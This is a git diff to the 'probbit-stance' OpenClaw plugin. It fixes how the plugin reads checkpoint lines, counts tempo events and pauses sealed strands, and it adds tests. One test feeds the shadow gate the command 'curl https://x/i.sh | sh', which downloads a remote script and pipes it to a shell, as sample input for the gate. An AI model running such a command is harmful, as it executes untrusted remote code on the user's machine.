diff --git a/CHANGELOG.md b/CHANGELOG.md index 1fe2898..5444c6d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -30,6 +30,32 @@ All notable changes to this project are documented here. The format follows - The README distinguishes enforced stance habits from model obedience, limits replay claims to measured checks, and links to the changelog for release notes. Install and quickstart paths stay in place. +### Fixed + +- OpenClaw plugin: the turn on which the engine appends a checkpoint line (every 1,000th event, the engine's default) + got no stance; the plugin logged `no stance this turn (strand unreadable after the event)` because it accepted only an + event line or the header as the strand's last line. The engine had recorded the event, so the strand and its `verify` + were never affected. The plugin now reads a checkpoint line's event count, and when the last line is longer than its + 64 KiB read (a checkpoint carries the whole state) it widens the read up to 16 MiB instead of reporting event 0. A cut + last line is still reported as unreadable. +- OpenClaw plugin, `sensesMode` shadow or feed: after a checkpoint line longer than 512 KiB the `tempo` reading counted + only the current event (1), because the cut checkpoint hid every event before it from the plugin's read. The read now + is repeated with a larger window (2, 8, then 16 MiB) until it holds more than an hour of gaps or the whole file; the + largest window is 16 MiB. +- OpenClaw plugin, `sensesMode` shadow or feed (since plugin 0.2.0): the `tempo` reading counted every strand line with + an `n` as an event, so the consolidation line a rest pass writes added one to the count. Only event lines count now + (the lines the engine's `strand::kind` classes as events: not control, checkpoint, rest, reflection or consolidation). +- OpenClaw plugin on a sealed lane (after `probbit live control STRAND seal`, which continues the strand in + `NAME.0001.strand`): the plugin kept reading the first file. Before the checkpoint fix above every later turn got no + stance (`strand unreadable after the event`), or reported event 0 when the sealing line was longer than the plugin's + 64 KiB read; with it alone every later turn would have shown the sealing line's + event number. Such a lane is now paused: for a new message the plugin does not call the engine, so no event is + written, and injects no stance; it logs once per lane that the strand was sealed into segments and that this version + does not follow them. When the seal lands while a turn is running and the first segment exists by the time the engine + call returns, that turn gets no stance either (its event is in the engine's record); a seal that lands after that + leaves the turn its stance, with the right number. A retried message that was answered before the seal gets the stance of its own event again. The + shadow gate is not affected and keeps logging. + ## 0.14.1 - Unreleased ### Fixed diff --git a/docs/adapters.md b/docs/adapters.md index 8586ac2..2cd15d3 100644 --- a/docs/adapters.md +++ b/docs/adapters.md @@ -30,7 +30,7 @@ the receipt per decision and the bounded state the same mechanism drives. | any Node loop | [examples/node/stance-host.mjs](../examples/node/stance-host.mjs) | `await host.turn(toolTexts)`; `verify()` | `node --test examples/node/stance-host.test.mjs` against the release binary | | Vercel AI SDK | [examples/hosts/vercel-ai/stance.mjs](../examples/hosts/vercel-ai/stance.mjs) | `prepareStep` rebuilds the step's system message from `host.turn`; `onToolExecutionEnd` collects results | not run here (needs the `ai` package, a provider and a key) | | MCP hosts (Claude Code, Codex CLI, Cursor, mcporter) | `probbit mcp` | tools `probbit_live_event`, `probbit_live_verify`, `probbit_persona_turn`, ... ([agents.md](agents.md)) | real calls from Claude Code and Codex CLI (agents.md) | -| OpenClaw | [plugins/openclaw](../plugins/openclaw/README.md) (`probbit-stance`, `openclaw plugins install npm:probbit-stance --accept-capabilities`) | `before_prompt_build`: one event per user message in the listed sessions, the block injected into the turn, the footer line in the chat; `before_tool_call`: shadow gate; `after_tool_call` (with `sensesMode` shadow or feed, since plugin 0.2.0): counts failed tool calls for the `tool_fail` reading | 153 tests against a mocked host built from the 2026.9.7 SDK types and the real binary; a build of this plugin runs live on the author's own agent since 2026-10-06 | +| OpenClaw | [plugins/openclaw](../plugins/openclaw/README.md) (`probbit-stance`, `openclaw plugins install npm:probbit-stance --accept-capabilities`) | `before_prompt_build`: one event per user message in the listed sessions, the block injected into the turn, the footer line in the chat; `before_tool_call`: shadow gate; `after_tool_call` (with `sensesMode` shadow or feed, since plugin 0.2.0): counts failed tool calls for the `tool_fail` reading | 165 tests against a mocked host built from the 2026.9.7 SDK types and the real binary; a build of this plugin runs live on the author's own agent since 2026-10-06 | "Not run here" means exactly that: the file is written to the framework's documented contract and compiles, but this repository's tests do not exercise it. Please open an issue (or a reproduction report) with what you saw. diff --git a/plugins/openclaw/README.md b/plugins/openclaw/README.md index 7555f54..003da16 100644 --- a/plugins/openclaw/README.md +++ b/plugins/openclaw/README.md @@ -85,7 +85,9 @@ tempo above the range's top as the top; the senses line keeps the measured count recomputes it: with u_k = round(1e6 × `elapsed_hours`) of event k (whole micro-hours; the strand stamps `elapsed_hours` to 1e-6 h, so the sums are exact), tempo at event n = #{m ≤ n : u_(m+1) + … + u_n ≤ 1 000 000}. A message exactly 60 minutes after the previous one still counts it; one micro-hour later does not. The plugin reads the strand's last -512 KiB (about 1000 events) for this. +512 KiB for this, then wider windows (2, 8, then 16 MiB) until the window holds more than an hour of gaps or the whole +file; a history inside the hour longer than 16 MiB is undercounted. Only event lines count: control, checkpoint, rest, +reflection and consolidation lines do not. **`tool_fail`: a tool call failed since the previous event.** The `after_tool_call` hook (registered only with `sensesMode` shadow or feed; observe-only, it never changes a result) counts tool calls in the lane and the ones that @@ -255,6 +257,14 @@ left as is with one warning per lane. - `strands/.senses.jsonl` (`sensesMode` shadow or feed; since 0.2.0): one line per event with the readings the plugin measured, the source of each and what it fed. +A lane whose strand was sealed into segments with `probbit live control STRAND seal` is paused: for a new message the +plugin does not call the engine and injects no stance, and it logs why once per lane. When the seal lands while a turn +is running and the first segment exists by the time the engine call returns, that turn gets no stance either (its event +is in the engine's record); a seal that lands after that leaves the turn its stance, with the right number. A retried +message that was answered before the +seal gets its own event's stance again, and the shadow gate keeps logging. Following segments is not implemented in +this version. + ## Safety properties - Only the listed sessions are touched. Heartbeats, cron runs and inter-session messages never produce events. diff --git a/plugins/openclaw/src/index.ts b/plugins/openclaw/src/index.ts index d6b8b67..8b56ce0 100644 --- a/plugins/openclaw/src/index.ts +++ b/plugins/openclaw/src/index.ts @@ -168,6 +168,7 @@ export function registerStance(api: OpenClawPluginApi, deps: StanceDeps = {}): S hostVersion = undefined; } const warnedLabels = new Set(); + const warnedSealed = new Set(); // The persona's senses are read once here; the cache re-reads the file only when it changes. if (cfg.sensesMode !== "off") readDeclaredSenses(cfg.personaPath, sensesCache); @@ -343,6 +344,14 @@ export function registerStance(api: OpenClawPluginApi, deps: StanceDeps = {}): S const next = toolTally.get(lane) ?? { calls: 0, errors: 0 }; toolTally.set(lane, { calls: next.calls + tally.calls, errors: next.errors + tally.errors }); } + if (run.sealed) { + // Paused until the operator acts: one warning per lane, not one per turn. + if (!warnedSealed.has(lane)) { + warnedSealed.add(lane); + warn(`lane ${lane}: no stance this turn (${run.reason}; warned once per lane)`); + } + return undefined; + } if (!state.warned) { state.warned = true; warn(`lane ${lane}: no stance this turn (${run.reason})`); diff --git a/plugins/openclaw/src/probbit.ts b/plugins/openclaw/src/probbit.ts index 448b32f..75baa79 100644 --- a/plugins/openclaw/src/probbit.ts +++ b/plugins/openclaw/src/probbit.ts @@ -1,6 +1,6 @@ import { spawn } from "node:child_process"; import { closeSync, existsSync, fstatSync, mkdirSync, openSync, readFileSync, readSync, rmSync, statSync, writeFileSync, appendFileSync } from "node:fs"; -import { join } from "node:path"; +import { basename, join } from "node:path"; /** The part of `probbit live`'s stance document this plugin reads (persona.md §4/§5.7). */ export type StanceDoc = { @@ -117,21 +117,38 @@ export function readTail(path: string, maxBytes: number): string { } } -/** Event number of the strand's last line (`n`); 0 when only the header exists. */ +/** The most `lastStrandEventNumber` reads: a last line longer than this is not read (undefined). */ +export const STRAND_TAIL_MAX = 16 * 1024 * 1024; + +/** + * Event count at the strand's last line: an event line's `n`, a checkpoint line's `checkpoint` (written after every K-th + * event, persona.md §5.7), 0 for the header alone; undefined for anything else (a torn write). The window starts at + * 64 KiB and widens until it holds the last line's start (a checkpoint carries the whole state and can be longer). + */ export function lastStrandEventNumber(strandPath: string): number | undefined { - const tail = readTail(strandPath, 64 * 1024); - const lines = tail.split("\n").filter((l) => l.trim()); - const last = lines[lines.length - 1]; - if (!last) return undefined; + let size: number; try { - const obj = JSON.parse(last) as { n?: unknown; probbit_strand?: unknown }; - if (typeof obj.n === "number") return obj.n; - if (obj.probbit_strand !== undefined) return 0; + size = statSync(strandPath).size; } catch { - // a header longer than the tail window: the first line is cut, so the strand has no events yet - if (lines.length === 1) return 0; + return undefined; + } + for (let window = 64 * 1024; ; window *= 4) { + const lines = readTail(strandPath, window).split("\n").filter((l) => l.trim()); + const last = lines[lines.length - 1]; + if (!last) return undefined; + if (lines.length > 1 || window >= size) { + try { + const obj = JSON.parse(last) as { n?: unknown; checkpoint?: unknown; probbit_strand?: unknown }; + if (typeof obj.n === "number") return obj.n; + if (typeof obj.checkpoint === "number") return obj.checkpoint; + if (obj.probbit_strand !== undefined) return 0; + } catch { + // a torn last line + } + return undefined; + } + if (window >= STRAND_TAIL_MAX) return undefined; } - return undefined; } /** A sense reading with its own source (docs/persona.md §2.11: `{v, src}`). */ @@ -208,7 +225,15 @@ export function runBinary(binary: string, args: string[], input: string, killAft export type LiveRun = | { ok: true; doc: StanceDoc; n: number; eventLine: string; outLine: string; ms: number; labeled: boolean } - | { ok: false; reason: string; ms: number }; + | { ok: false; reason: string; ms: number; sealed?: true }; + +/** + * The name of a strand's first segment, as the engine names it (`strand::segment_name(base, 1)`): `NAME.0001.strand` for + * a path ending in `.strand`, else `PATH.0001`. It exists once the strand was sealed (`probbit live control STRAND seal`). + */ +export function firstSegmentName(strandPath: string): string { + return strandPath.endsWith(".strand") ? `${strandPath.slice(0, -".strand".length)}.0001.strand` : `${strandPath}.0001`; +} /** * One event through `probbit live PERSONA --state STATE --strand STRAND --clock fixed` (persona.md §5.7). @@ -229,6 +254,17 @@ export async function runLiveEvent(opts: { }): Promise { const t0 = Date.now(); const { paths } = opts; + // A sealed strand goes on in its newest segment; this version reads only the base file, so the lane is paused + // before anything runs or is written (docs/persona.md section 5.7, "Segments"). + const segment = firstSegmentName(paths.strand); + if (existsSync(segment)) { + return { + ok: false, + sealed: true, + reason: `the strand was sealed into segments (${basename(segment)} exists); this plugin version does not follow segments, so the lane is paused`, + ms: Date.now() - t0, + }; + } // Asked beside `persona init` too (cached per binary, so usually already settled at load). const check = opts.binaryCheck ? opts.binaryCheck().catch(() => undefined) : Promise.resolve(undefined); const hasState = existsSync(paths.state); @@ -275,6 +311,18 @@ export async function runLiveEvent(opts: { const detail = doc?.error !== undefined ? JSON.stringify(doc.error).slice(0, 200) : res.stderr.slice(0, 200); return { ok: false, reason: `probbit live exit ${res.code ?? res.signal}: ${detail}`.trim(), ms }; } + // A seal can land between the check above and the engine taking its writer lock. The engine appends to a segment + // only if it existed when the lock was taken, and never removes one, so a segment present now covers every case in + // which the base file's last line is not this turn's event. (If the seal came after this event, a right stance is + // dropped; the engine's record is right either way.) + if (existsSync(segment)) { + return { + ok: false, + sealed: true, + reason: `the strand was sealed into segments while this turn was running (${basename(segment)} exists; the event is in the engine's record); this plugin version does not follow segments, so the lane is paused`, + ms, + }; + } const n = lastStrandEventNumber(paths.strand); if (n === undefined) return { ok: false, reason: "strand unreadable after the event", ms }; return { ok: true, doc, n, eventLine: opts.eventLine, outLine: outLine.trim(), ms, labeled: extra.length > 0 }; diff --git a/plugins/openclaw/src/senses.ts b/plugins/openclaw/src/senses.ts index 1d922dd..99303cb 100644 --- a/plugins/openclaw/src/senses.ts +++ b/plugins/openclaw/src/senses.ts @@ -1,5 +1,5 @@ import { appendFileSync, readFileSync, statSync } from "node:fs"; -import { readTail } from "./probbit.js"; +import { readTail, STRAND_TAIL_MAX } from "./probbit.js"; /** The source label the plugin puts on every reading it sends (docs/persona.md §2.11, rule S2: the kind must be in `src`). */ export const READING_SRC = "env:probbit-stance"; @@ -110,14 +110,41 @@ export function tempoFromGaps(elapsedHours: number[]): number { return count; } -/** `inputs.elapsed_hours` of the strand's events, oldest first, from the last 512 KiB (about 1000 events). */ +/** + * `inputs.elapsed_hours` of the strand's event lines (not control, checkpoint, rest, reflection or consolidation lines), + * oldest first, from the file's last 512 KiB. A large checkpoint line + * can take most of that window; then the tail is read again with a larger window (2, 8, then 16 MiB) until it holds + * more than an hour of gaps or the whole file, so the events before the checkpoint still count. The largest window is + * 16 MiB; with the re-reads a turn reads at most 0.5 + 2 + 8 + 16 = 26.5 MiB. + */ export function strandGaps(strandPath: string): number[] { + let size = 0; + try { + size = statSync(strandPath).size; + } catch { + return []; + } + for (let window = 512 * 1024; ; window = Math.min(window * 4, STRAND_TAIL_MAX)) { + const gaps = gapsIn(readTail(strandPath, window)); + if (coversHour(gaps) || window >= size || window >= STRAND_TAIL_MAX) return gaps; + } +} + +/** More than an hour of gaps: every earlier event is outside the tempo window. */ +function coversHour(gaps: number[]): boolean { + return gaps.reduce((s, h) => s + microHours(h), 0) > WINDOW_MICRO_HOURS; +} + +/** Keys that make a strand line something other than an event, as the engine's `strand::kind` decides. */ +const NOT_EVENT_KEYS = ["control", "checkpoint", "rest", "reflection", "consolidation"] as const; + +function gapsIn(tail: string): number[] { const gaps: number[] = []; - for (const line of readTail(strandPath, 512 * 1024).split("\n")) { + for (const line of tail.split("\n")) { if (!line.startsWith('{"')) continue; try { - const obj = JSON.parse(line) as { n?: unknown; inputs?: { elapsed_hours?: unknown } }; - if (typeof obj.n !== "number") continue; + const obj = JSON.parse(line) as Record & { n?: unknown; inputs?: { elapsed_hours?: unknown } }; + if (typeof obj.n !== "number" || NOT_EVENT_KEYS.some((k) => k in obj)) continue; const h = obj.inputs?.elapsed_hours; gaps.push(typeof h === "number" ? h : 0); } catch { diff --git a/plugins/openclaw/test/strand.test.ts b/plugins/openclaw/test/strand.test.ts new file mode 100644 index 0000000..23b614f --- /dev/null +++ b/plugins/openclaw/test/strand.test.ts @@ -0,0 +1,201 @@ +import assert from "node:assert/strict"; +import { execFileSync } from "node:child_process"; +import { mkdirSync, readdirSync, readFileSync, statSync, writeFileSync } from "node:fs"; +import { join } from "node:path"; +import { test } from "node:test"; +import { registerStance } from "../src/index.js"; +import { ensureLaneDirs, firstSegmentName, lanePaths, lastStrandEventNumber, runLiveEvent } from "../src/probbit.js"; +import { tempoNow } from "../src/senses.js"; +import { cliEvent, createHost, embeddedEvent, GROUP_KEY, groupCtx, PERSONA_SRC, PROBBIT, tempStateDir, toolCtx } from "./host.js"; + +const LANE = "team-room"; +const HEADER = '{"probbit_strand":1,"persona":{"name":"Assistant","version":"1.0.0"},"state":{"seed":42}}'; +const event = (n: number) => `{"inputs":{"elapsed_hours":0.5},"n":${n},"prev":"sha256:${"a".repeat(64)}","stance":"sha256:${"b".repeat(64)}"}`; +/** A checkpoint line padded to about `bytes` (a real one grows with the state and the expectation's memory). */ +const checkpoint = (n: number, bytes = 0) => + `{"checkpoint":${n},"prev":"sha256:${"c".repeat(64)}","stance":{"line":"Stance: steady."},"state":{"pad":"${"x".repeat(bytes)}"}}`; + +function strandFile(text: string): string { + const path = join(tempStateDir(), "lane.strand"); + writeFileSync(path, text); + return path; +} + +test("strand tail: an event line last -> its n; the header alone -> 0", () => { + assert.equal(lastStrandEventNumber(strandFile(`${HEADER}\n${event(1)}\n${event(2)}\n`)), 2); + assert.equal(lastStrandEventNumber(strandFile(`${HEADER}\n`)), 0); +}); + +test("strand tail: a checkpoint line last -> its checkpoint number (the event count)", () => { + assert.equal(lastStrandEventNumber(strandFile(`${HEADER}\n${event(999)}\n${event(1000)}\n${checkpoint(1000)}\n`)), 1000); +}); + +test("strand tail: a header longer than 64 KiB and nothing else -> 0", () => { + const big = `{"probbit_strand":1,"persona":{"name":"Assistant"},"state":{"pad":"${"h".repeat(200 * 1024)}"}}`; + assert.equal(lastStrandEventNumber(strandFile(`${big}\n`)), 0); +}); + +test("strand tail: events, then a checkpoint line longer than 64 KiB -> its checkpoint number, not 0", () => { + const lines = [HEADER, ...Array.from({ length: 50 }, (_, i) => event(i + 1)), checkpoint(50, 300 * 1024)]; + assert.equal(lastStrandEventNumber(strandFile(`${lines.join("\n")}\n`)), 50); + // and with an event after it the short last line is read from the first window as before + assert.equal(lastStrandEventNumber(strandFile(`${[...lines, event(51)].join("\n")}\n`)), 51); +}); + +test("tempo: a checkpoint line longer than the 512 KiB read does not hide the events before it", () => { + const quick = (n: number) => `{"inputs":{"elapsed_hours":0.05},"n":${n},"prev":"sha256:${"a".repeat(64)}"}`; + const lines = [HEADER, ...Array.from({ length: 10 }, (_, i) => quick(i + 1)), checkpoint(10, 600 * 1024)]; + // ten events 3 minutes apart, then the checkpoint, then this event 3 minutes later: all eleven within the hour + assert.equal(tempoNow(strandFile(`${lines.join("\n")}\n`), 0.05), 11); +}); + +test("tempo: no event-count cutoff; 3,000 events inside the hour all count", () => { + const d = (c: string) => `sha256:${c.repeat(64)}`; + const at = (n: number) => `{"inputs":{"elapsed_hours":0},"n":${n},"prev":"${d("a")}","stance":"${d("b")}","state":"${d("c")}"}`; + const text = `${[HEADER, ...Array.from({ length: 3000 }, (_, i) => at(i + 1))].join("\n")}\n`; + // about 260 bytes a line: the first 512 KiB window holds about 2,000 events, not all 3,000, so the read must widen + assert.ok(text.length > 512 * 1024 && text.length < 2 * 1024 * 1024, String(text.length)); + assert.equal(tempoNow(strandFile(text), 0), 3001); +}); + +test("tempo: only event lines count; a consolidation line (it has an n) and the other line kinds do not", () => { + const d = (c: string) => `sha256:${c.repeat(64)}`; + const ev = (n: number) => `{"inputs":{"elapsed_hours":0.05},"n":${n},"prev":"${d("a")}","stance":"${d("b")}","state":"${d("c")}"}`; + // the consolidation line as the engine writes it (probbit-persona/src/rest.rs: at, consolidation, n, prev, state) + const consolidation = `{"at":"2026-11-12T00:00:00Z","consolidation":{"moved":[]},"n":3,"prev":"${d("a")}","state":"${d("c")}"}`; + // the other non-event kinds, each with an n as well, so the key decides (strand::kind), not the missing n + const others = ["control", "rest", "reflection"].map((k) => `{"${k}":{},"n":3,"prev":"${d("a")}"}`); + const lines = [HEADER, ev(1), ev(2), ev(3), consolidation, ...others, checkpoint(3), ev(4), ev(5)]; + // five events 3 minutes apart, then this one: 6 + assert.equal(tempoNow(strandFile(`${lines.join("\n")}\n`), 0.05), 6); +}); + +test("strand tail: a torn last line, an empty file or no file -> undefined", () => { + assert.equal(lastStrandEventNumber(strandFile(`${HEADER}\n${event(1)}\n{"inputs":{"elapsed_hours":0.5},"n":2,"pr`)), undefined); + assert.equal(lastStrandEventNumber(strandFile(`${HEADER}\n${checkpoint(3, 100 * 1024).slice(0, 90 * 1024)}`)), undefined); + assert.equal(lastStrandEventNumber(strandFile("")), undefined); + assert.equal(lastStrandEventNumber(join(tempStateDir(), "missing.strand")), undefined); +}); + +test("hook: the event that writes a checkpoint (the 1,000th) still gets its stance, and the next event works", async () => { + const dir = tempStateDir(); + for (const d of ["state", "strands", "last", "log"]) mkdirSync(join(dir, d), { recursive: true }); + const state = join(dir, "state", `${LANE}.json`); + const strand = join(dir, "strands", `${LANE}.strand`); + // 999 events written by the engine itself, in one call; the hook's event is then the 1,000th, where the engine's + // default (`--checkpoint-every 1000`) appends a checkpoint line after the event line. + const events = join(dir, "events.jsonl"); + writeFileSync(events, '{"elapsed_hours":0.5}\n'.repeat(999)); + execFileSync(PROBBIT, ["persona", "init", PERSONA_SRC, "--seed", "42", "--out", state], { stdio: "ignore" }); + execFileSync(PROBBIT, ["live", PERSONA_SRC, "--state", state, "--strand", strand, "--clock", "fixed", "--events", events], { stdio: "ignore" }); + const host = createHost({ lanes: { [GROUP_KEY]: LANE }, stateDir: dir, binary: PROBBIT }); + registerStance(host.api); + + const first = await host.promptBuild(cliEvent("thanks"), groupCtx("cp-1")); + assert.match((first.result as { appendContext?: string } | undefined)?.appendContext ?? "", /^## Assistant stance \(probbit, event 1000\)/, JSON.stringify(host.logs)); + const tail = readFileSync(strand, "utf8").trimEnd().split("\n"); + assert.equal((JSON.parse(tail[tail.length - 1]!) as { checkpoint?: number }).checkpoint, 1000, "the strand ends on the checkpoint line"); + assert.equal((JSON.parse(tail[tail.length - 2]!) as { n?: number }).n, 1000); + + const second = await host.promptBuild(cliEvent("no, that's wrong"), groupCtx("cp-2")); + assert.match((second.result as { appendContext?: string } | undefined)?.appendContext ?? "", /^## Assistant stance \(probbit, event 1001\)/); + assert.equal(host.logs.some((l) => l.message.includes("strand unreadable")), false); + const ns = readFileSync(join(dir, "log", `${LANE}.jsonl`), "utf8").trim().split("\n").map((l) => (JSON.parse(l.split("\t")[3]!) as { n: number }).n); + assert.deepEqual(ns, [1000, 1001]); +}); + +test("segments: the first segment's name, as the engine's strand::segment_name(base, 1)", () => { + assert.equal(firstSegmentName("s/lane.strand"), "s/lane.0001.strand"); + assert.equal(firstSegmentName("s/lane"), "s/lane.0001"); + assert.equal(firstSegmentName("s/lane.log"), "s/lane.log.0001"); +}); + +/** Every file under `dir` (relative path -> bytes). */ +function snapshot(dir: string, at = ""): Map { + const out = new Map(); + for (const name of readdirSync(join(dir, at))) { + const rel = at ? `${at}/${name}` : name; + if (statSync(join(dir, rel)).isDirectory()) for (const [k, v] of snapshot(dir, rel)) out.set(k, v); + else out.set(rel, readFileSync(join(dir, rel), "latin1")); + } + return out; +} + +function changed(a: Map, b: Map): string[] { + return [...new Set([...a.keys(), ...b.keys()])].filter((k) => a.get(k) !== b.get(k)).sort(); +} + +test("hook: a sealed lane is paused: no engine call, no stance, one warning; a retry gets its own stance; the gate still logs", async () => { + const dir = tempStateDir(); + for (const d of ["state", "strands", "last", "log"]) mkdirSync(join(dir, d), { recursive: true }); + const state = join(dir, "state", `${LANE}.json`); + const strand = join(dir, "strands", `${LANE}.strand`); + const events = join(dir, "events.jsonl"); + writeFileSync(events, '{"elapsed_hours":0.05}\n'.repeat(2)); + execFileSync(PROBBIT, ["persona", "init", PERSONA_SRC, "--seed", "42", "--out", state], { stdio: "ignore" }); + execFileSync(PROBBIT, ["live", PERSONA_SRC, "--state", state, "--strand", strand, "--clock", "fixed", "--events", events], { stdio: "ignore" }); + const host = createHost({ lanes: { [GROUP_KEY]: LANE }, stateDir: dir, binary: PROBBIT, sensesMode: "shadow" }); + registerStance(host.api); + const block = async (run: string, event = cliEvent("thanks")) => + ((await host.promptBuild(event, groupCtx(run))).result as { appendContext?: string } | undefined)?.appendContext; + + // A normal turn (event 3, a security message: a careful stance) writes these files; the paused turns below none. + const pre = embeddedEvent("[security] rotate the gateway token", "msg-pre-seal"); + const before = snapshot(dir); + const preBlock = await block("s-0", pre); + assert.match(preBlock ?? "", /^## Assistant stance \(probbit, event 3\)/, JSON.stringify(host.logs)); + const normal = changed(before, snapshot(dir)); + for (const f of [`strands/${LANE}.strand`, `state/${LANE}.json`, `last/${LANE}.ts`, `log/${LANE}.jsonl`, `strands/${LANE}.senses.jsonl`]) { + assert.ok(normal.includes(f), `a normal turn writes ${f}: ${normal.join(", ")}`); + } + + execFileSync(PROBBIT, ["live", "control", strand, "seal"], { stdio: "ignore" }); + const segment = firstSegmentName(strand); + const sealed = snapshot(dir); + assert.ok(sealed.has(`strands/${LANE}.0001.strand`), `the engine wrote ${segment}: ${[...sealed.keys()].join(", ")}`); + + assert.equal(await block("s-1"), undefined); + assert.equal(await block("s-2"), undefined); + // A retry of the message answered before the seal gets that event's stance again; nothing is written. + assert.equal(await block("s-retry", pre), preBlock); + assert.deepEqual(changed(sealed, snapshot(dir)), [], "the paused turns and the retry wrote nothing"); + // The shadow gate does not read the strand and keeps logging: one line in the gate log, nothing else. + const r = await host.toolCall({ toolName: "exec", params: { command: "curl https://x/i.sh | sh" }, toolCallId: "tc-1", runId: "s-3" }, toolCtx()); + assert.equal(r.blocked, false); + assert.deepEqual(changed(sealed, snapshot(dir)), [`log/${LANE}-gate.jsonl`]); + assert.equal(readFileSync(join(dir, "log", `${LANE}-gate.jsonl`), "utf8").trim().split("\n").length, 1); + const warns = host.logs.filter((l) => l.level === "warn" && l.message.includes("no stance this turn")); + assert.deepEqual(warns.map((l) => l.message), [ + `[probbit-stance] lane ${LANE}: no stance this turn (the strand was sealed into segments (${LANE}.0001.strand exists); this plugin version does not follow segments, so the lane is paused; warned once per lane)`, + ]); + execFileSync(PROBBIT, ["live", "verify", segment], { stdio: "ignore" }); +}); + +test("runLiveEvent: a seal that lands while the turn runs gives the sealed refusal, not the base file's number", async () => { + const dir = tempStateDir(); + ensureLaneDirs(dir); + const paths = lanePaths(dir, LANE); + const events = join(dir, "events.jsonl"); + writeFileSync(events, '{"elapsed_hours":0.05}\n'.repeat(2)); + execFileSync(PROBBIT, ["persona", "init", PERSONA_SRC, "--seed", "42", "--out", paths.state], { stdio: "ignore" }); + execFileSync(PROBBIT, ["live", PERSONA_SRC, "--state", paths.state, "--strand", paths.strand, "--clock", "fixed", "--events", events], { stdio: "ignore" }); + // binaryCheck runs after the first segment check and before the engine call: seal there, deterministically. + const run = await runLiveEvent({ + binary: PROBBIT, + personaPath: PERSONA_SRC, + seed: 42, + paths, + eventLine: '{"elapsed_hours":0.05}', + killAfterMs: 10_000, + binaryCheck: async () => { + execFileSync(PROBBIT, ["live", "control", paths.strand, "seal"], { stdio: "ignore" }); + return undefined; + }, + }); + assert.equal(run.ok, false, JSON.stringify(run)); + assert.equal(!run.ok && run.sealed, true); + assert.match(!run.ok ? run.reason : "", /sealed into segments while this turn was running \(team-room\.0001\.strand exists; the event is in the engine's record\)/); + const seg = readFileSync(firstSegmentName(paths.strand), "utf8").trimEnd().split("\n"); + assert.equal((JSON.parse(seg[seg.length - 1]!) as { n?: number }).n, 3, "the engine wrote this turn's event into segment 1"); + assert.equal(lastStrandEventNumber(paths.strand), 2, "the base ends on the sealing checkpoint, the count before this event"); +});